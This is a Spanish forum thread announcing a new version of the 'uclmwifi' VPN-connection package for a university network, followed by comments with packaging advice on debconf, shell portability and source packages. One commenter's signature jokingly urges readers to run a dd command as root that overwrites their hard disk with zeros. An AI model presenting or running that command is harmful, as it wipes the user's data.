Nueva versión de UCLM-WiFi

GNESISnetworking

¡Hola a todos!

En el repositorio de GNESIS ya está la nueva versión del script para la conexión a la VPN de la Universidad. Como características nuevas:

  • Eliminación del dialog en la parte de la conexión.
  • "activawifi.sh" se ha sustituido por "vpn."
  • Puedes conectarte a través de cualquier tipo de conexión, no sólo por wireless (este aspecto necesito que se pruebe, ya que mi cuenta de acceso no tiene permisos para un acceso remoto).
  • Mejorado el aspecto de configuración.

Para instalarlo debes agregar el repositorio al archivo /etc/apt/sources.list:

deb http://babel.esi.uclm.es/gnesis unstable main

Utiliza después "apt-get update" y luego "apt-get install uclmwifi". Si ya lo tienes instalado, no te preocupes: se actualiza a la versión 1.2.

Un saludo!

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.

Plis, un minicambio

Mu util, pero:

  • La sección debería ser net, no Network.
  • El script /usr/sbin/vpn-mppe.utils no es un binario, asi que ponlo en /usr/share/uclmwifi sin permiso de ejecución y con extensión .sh
  • Las preguntas al usuario no deberían usar dialog a lo bestia. No solo porque no tienes dialog en las dependencias, sino porque para eso está debconf (piensa en los preseeds para instalarlo en la live).
  • Pon también el paquete source.
  • Los scripts están llenos de bashisms. Por ejemplo usas function, que no funciona en la Bourne shell clásica. Por tanto deberías empezarlo con #!/bin/bash y poner una dependencia con bash.

No me interpretes mal, lo veo muy útil. Solo necesita polishing.

Thanx,
Paco

Imagen de cleto

Solucionado...

... en parte, los problemas del paquete. Se han añadido las dependencias necesarias y se ha modificado el vpn-mppe.utils a "/usr/share/uclmwifi/vpn-mppe-utils.sh" sin permisos de ejecución. Ahora, ya #!/bin/bash es la cabecera.

La versión actual de uclmwifi es 1.5.2.

TODO:
- Falta el paquete source.
- Hacer decentemente el paquete binario.
- Quitar dialog y usar preseeds

----------------------------------------------------------------
"Software Libre para una sociedad libre."

Más pequeños cambios

En mi repo privado

deb http://arco.inf-cr.uclm.es/~francisco.moya/debian/ ./

he puesto una versión del paquete (1.5.3) que pasa completamente todos los tests de linda y usa debconf. No me he preocupao de proteger mucho la passwd porque… total, es MPPE!

También he cambiado alguna cosilla del script que me pareció poco portable, como:

cat fichero | grep -v cadena > fichero

Lo bueno de usar debconf es que:

  • No te pregunta si no quieres (umbral de prioridad por encima de medium)
  • Si te ha preguntado una vez no lo vuelve a hacer
  • Si quieres reconfigurar se usa el método estándar (dpkg-reconfigure uclmwifi)
  • Si quieres interfaz gráfico lo puedes tener gratis
  • Si tenemos otro paquete que necesite usuario y passwd no hay que volver a pedirlo

Como era primera aproximación no he puesto el soporte de traducción. Échale un vistacillo a cosas como adduser para ver cómo se traduce. Las traducciones en el archivo de templates sí están puestas.

Coge el fuente con apt-get source. No está firmado, ¡fírmalo! Cuando lo hayas migrado a gnesis avisa pa quitarlo de ahí.

Salud,
Paco

Imagen de cleto

Gracias...

... paco por tus indicaciones. Así harelo. Smiling
----------------------------------------------------------------
"Software Libre para una sociedad libre."

Imagen de int-0

Mu chulo

Enhorabuena! de boutique...

------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------